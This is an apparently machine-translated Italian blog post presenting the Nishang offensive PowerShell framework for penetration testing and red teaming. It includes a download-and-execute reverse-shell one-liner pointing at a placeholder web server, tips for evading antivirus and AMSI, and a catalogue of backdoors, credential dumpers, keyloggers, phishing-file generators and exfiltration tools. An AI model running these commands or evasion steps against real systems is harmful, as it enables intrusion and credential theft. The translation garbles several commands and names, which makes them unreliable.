Nishang: Offensive PowerShell Per Red Team,Penetration Testing & Offensive Security

author
6 minutes, 50 seconds Read

Nishang è un framework e una raccolta di script e payload che consente l’utilizzo di PowerShell per offensive security, penetration testing e red teaming. Nishang è utile durante tutte le fasi di test di penetrazione.

Utilizzo

Importa tutti gli script nella sessione PowerShell corrente (PowerShell v3 in poi).

PS C:\nishang > Importa-Modulo .nishang.psm1

Utilizzare i singoli script con dot sourcing.

PS C:\nishang> . C:\nishang\Gather\Get-Information.ps1
PS C:\nishang> Ottenere Informazioni

Per ottenere aiuto su qualsiasi script o funzione, utilizzare:

PS C:\nishang> Get-Help -full

Nota che l’aiuto è disponibile per la funzione di carico dopo l’esecuzione dello script e non lo script a partire dalla versione 0.3.8. In tutti i casi, il nome della funzione è lo stesso del nome dello script.

Ad esempio, per vedere la guida su Get-WLAN-Keys.ps1, utilizzare

PS C:\nishang> . C:\ nishang \ Get-WLAN-Keys. ps1
PS C:\nishang > Get-Help Get-WLAN-Keys-Full

Anti Virus

Gli script Nishang sono contrassegnati da molti Anti Virus come dannosi. Gli scripts su un target sono pensati per essere utilizzati in memoria, il che è molto facile da fare con PowerShell. Due metodi di base per eseguire script PowerShell in memoria:

Metodo 1. Usa il dowload in memoria ed esegui: Usa sotto il comando per eseguire uno script PowerShell da una shell remota, una shell nativa meterpreter,una shell web ecc. e la funzione esportata da esso. Tutti gli script in Nishang esportano una funzione con lo stesso nome nella sessione PowerShell corrente.

powershell iex (New-Object Net. WebClient). DownloadString (‘http: / / < yourwebserver> / Invoke-PowerShellTcp. ps1’); Invoke-PowerShellTcp-Reverse – IPAddress-Port

Metodo 2. Utilizzare il parametro -encodedcommand (o -e) di PowerShell Tutti gli script in Nishang esportano una funzione con lo stesso nome nella sessione PowerShell corrente. Pertanto, assicurarsi che la chiamata di funzione sia effettuata nello script stesso mentre si utilizza il parametro encodedcommand da una shell non PowerShell. Per esempio sopra, aggiungere una chiamata di funzione (senza virgolette) "Invoke-PowerShellTcp -Reverse -IPAddress -Port ".

Codifica lo script usando Invoke-Encode da Nishang:

PS C:\nishang> . \ nishang \ Utility \ Invoke-Codifica
PS C:\nishang> Invoke-Encode-DataToEncode C:\nishang\Shells\Invoke-PowerShellTcp.ps1 -OutCommand

  • Dati codificati scritti in .\codificare.txt
  • Comando codificato scritto su .\ encodedcommand.txt

Dall’alto, utilizzare lo script codificato da encodedcommand.txt ed eseguirlo su un target in cui è possibile eseguire i comandi (una shell remota, una shell nativa meterpreter, una shell web ecc.). Usalo come qui sotto:

C:\Users\target > powershell-e

Se gli script vengono ancora rilevati, la modifica dei nomi delle funzioni e dei parametri e la rimozione del contenuto della guida aiuteranno.

Nel caso in cui l’AMSI di Windows 10 stia ancora bloccando l’esecuzione dello script, vedi questo blog: http://www.labofapenetrationtester.com/2016/09/amsi.html

Leggi anche-Clipboardme: Grab & Inject Clipboard Content By Link

Scripts

Nishang contiene attualmente i seguenti script e payload.

Active Directory

  • Set-DCShadowPermissions
    • Modifica gli oggetti AD per fornire autorizzazioni minime richieste per DCShadow.

Antak-il Webshell

  • Antak
    • Eseguire script PowerShell in memoria, eseguire comandi, e scaricare e caricare i file utilizzando questo webshell.

Backdoor

  • HTTP-Backdoor
    • Una backdoor che può ricevere istruzioni da siti web di terze parti ed eseguire script PowerShell in memoria.
  • DNS_TXT_Pwnage
    • Una backdoor che può ricevere comandi e script PowerShell da query DNS TXT, eseguirli su un target ed essere controllati a distanza utilizzando le query.
  • Execute-OnTime
    • Una backdoor che può eseguire script PowerShell in un dato momento su un target.
  • Gupt-Backdoor
    • Una backdoor che può ricevere comandi e script da un SSID WLAN senza connettersi ad esso.
  • Add-ScrnSaveBackdoor
    • Una backdoor che può utilizzare Windows screen saver per il comando remoto e l’esecuzione di script.
  • Invoke-ADSBackdoor
    • Una backdoor che può utilizzare flussi di dati alternativi e Registro di Windows per ottenere la persistenza.
  • Add-RegBackdoor
    • Una backdoor che utilizza il noto trucco Debugger per eseguire il payload con chiavi appiccicose e Utilman (tasto Windows + U).
  • Set-RemoteWMI
    • Modifica le autorizzazioni degli spazi dei nomi DCOM e WMI per consentire l’accesso a un utente non amministratore.
  • Set-RemotePSRemoting
    • Modifica le autorizzazioni di PowerShell remoting per consentire l’accesso a un utente non amministratore.

Bypass

  • Invoke-AmsiBypass
    • Implementazione di metodi noti al pubblico per bypassare/evitare AMSI.

Client

  • Out-CHM
    • Crea file CHM infetti che possono eseguire comandi e script PowerShell.
  • Out-Word
    • Crea file Word e infetta quelli esistenti per eseguire comandi e script PowerShell.
  • Out-Excel
    • Crea file Excel e infetta quelli esistenti per eseguire comandi e script PowerShell.
  • Out-HTA
    • Crea un file HTA che può essere distribuito su un server Web e utilizzato nelle campagne di phishing.
  • Out-Java
    • Crea file JAR firmati che possono essere utilizzati con le applet per l’esecuzione di script e comandi.
  • Out-Shortcut
    • Crea file di scelta rapida in grado di eseguire comandi e script PowerShell.
  • Out-WebQuery
    • Crea file IQY per le credenziali di phishing e gli hash SMB.
  • Out-JS
    • Crea file JS in grado di eseguire comandi e script PowerShell.
  • Out-SCT
    • Crea file SCT in grado di eseguire comandi e script PowerShell.
  • Out-SCF
    • Crea un file SCF che può essere utilizzato per catturare le sfide hash NTLM.

Escalation

  • Enable-DuplicateToken
    • Quando sono richiesti privilegi di SISTEMA.
  • Remove-Update
    • Introduce vulnerabilità rimuovendo le patch.
  • Invoke-PsUACme
    • Ignora UAC.

Esecuzione

  • Download-Execute-PS
    • Scarica ed esegui uno script PowerShell in memoria.
  • Download_Execute
    • Scarica un eseguibile in formato testo, convertilo in un eseguibile ed esegui.
  • Esegui-Command-MSSQL
    • Esegui comandi PowerShell, comandi nativi o comandi SQL su un server MSSQL con privilegi sufficienti.
  • Execute-DNSTXT-Code
    • Esegui shellcode in memoria utilizzando query DNS TXT.
  • Out-RundllCommand
    • Esegui comandi e script PowerShell o una sessione PowerShell inversa utilizzando rundll32.exe.

Raccogliere

  • Controllare-VM
    • Controllare una macchina virtuale.
  • Copy-VSS
    • Copia il file SAM utilizzando il servizio di copia Shadow del volume.
  • Invoke-CredentialsPhish
    • Ingannare un utente a dare le credenziali in testo normale.
  • FireBuster FireListener
    • Una coppia di script per il test di uscita
  • Get-Information
    • Ottieni informazioni succose da un target.
  • Get-LSASecret
    • Ottenere LSA segreto da un bersaglio.
  • Get-PassHashes
    • Ottieni gli hash delle password da un target.
  • Get-WLAN-Keys
    • Get WLAN keys in testo normale da una destinazione.
  • Keylogger
    • Registra le sequenze di tasti da una destinazione.
  • Invoke-MimikatzWdigestDowngrade
    • Dump password utente in pianura su Windows 8.1 e Server 2012
  • Get-PassHints
    • Ottieni suggerimenti sulla password degli utenti Windows da un target.
  • Mostra-TargetScreen
    • Connetti indietro e trasmetti lo schermo di destinazione usando MJPEG.
  • Invoke-Mimikatz
    • Carica mimikatz in memoria. Aggiornato e con qualche personalizzazione.
  • Invoke-Mimikittenz
    • Estrai informazioni succose dalla memoria del processo di destinazione (come i browser) usando regex.
  • Invoke-SSIDExfil
    • Exfiltrate informazioni come le credenziali utente, utilizzando WLAN SSID.
  • Invoke-SessionGopher
    • Identifica le jump-box di amministrazione e/o i computer utilizzati per accedere alle macchine Unix.

MITM

  • Invoke-Interceptor
    • Un proxy HTTPS locale per gli attacchi MITM.

Pivot

  • Create-MultipleSessions
    • Controllare le credenziali su più computer e creare PSSessions.
  • Esegui-EXEonRemote
    • Copia ed esegui un eseguibile su più macchine.
  • Invoke-NetworkRelay
    • Crea relè di rete tra computer.

Prasadhak

  • Prasadhak
    • Controlla gli hash in esecuzione del processo in esecuzione rispetto al database VirusTotal.

Scansione

  • Forza bruta
    • Forza bruta FTP, Active Directory, MSSQL e Sharepoint.
  • Port-Scan
    • Un pratico port scanner.

Powerpreter

  • Powerpreter
    • Tutte le funzionalità di nishang in un unico modulo di script.

Conchiglie

  • Invoke-PsGcat
    • Inviare comandi e script specificato account Gmail per essere eseguito da Richiamare-PsGcatAgent
  • Invoke-PsGcatAgent
    • Eseguire comandi e script inviato da Richiamare-PsGcat.
  • Invoke-PowerShellTcp
    • Un PowerShell interattivo reverse connect o bind shell
  • Invoke-PowerShellTcpOneLine
    • Versione ridotta di Invoke-PowerShellTcp. Contiene anche, una versione scheletro che potrebbe andare bene in due tweet.
  • Invoke-PowerShellTcpOneLineBind
    • Versione Bind di Invoke-PowerShellTcpOneLine.
  • Invoke-PowerShellUdp
    • Un PowerShell interattivo reverse connect o bind shell su UDP
  • Invoke-PowerShellUdpOneLine
    • Versione ridotta di Invoke-PowerShellUdp.
  • Invoke-PoshRatHttps
    • Inverti PowerShell interattivo su HTTPS.
  • Invoke-PoshRatHttp
    • Inverti PowerShell interattivo su HTTP.
  • Rimuovi-PoshRat
    • Pulisci il sistema dopo aver usato Invoke-PoshRatHttps
  • Invoke-PowerShellWmi
    • PowerShell interattivo utilizzando WMI.
  • Invoke-PowerShellIcmp
    • Una shell inversa PowerShell interattiva su ICMP.
  • Invoke-JSRatRundll
    • Una shell inversa PowerShell interattiva su HTTP utilizzando rundll32.exe.
  • Invoke-JSRatRegsvr
    • Una shell inversa PowerShell interattiva su HTTP utilizzando regsvr32.exe.

Utility

  • Add-Exfiltration
    • Aggiungi funzionalità di esfiltrazione dati a Gmail, Pastebin, un server Web e DNS a qualsiasi script.
  • Add-Persistence
    • Aggiungi la capacità di reboot persistence a uno script.
  • Remove-Persistence
    • Persistenza remota aggiunta dallo script Add-Persistence.
  • Do-Exfiltration
    • Pipe ( / ) questo a qualsiasi script per esfiltrare l’output.
  • Scarica
    • Trasferisci un file alla destinazione.
  • Parse_Keys
    • Analizza le chiavi registrate dal keylogger.
  • Invoke-Encode
    • Codifica e comprime uno script o una stringa.
  • Invoke-Decode
    • Decodificare e decomprimere uno script o una stringa da Invoke-Encode.
  • Start-CaptureServer
    • Esegui un server Web che registra l’autenticazione di base e gli hash SMB.
  • ConvertTo-ROT13
    • Codifica una stringa in ROT13 o decodifica una stringa ROT13.
  • Out-DnsTxt
    • Genera record DNS TXT che possono essere utilizzati con altri script.

Similar Posts

Lascia un commento

Il tuo indirizzo email non sarà pubblicato.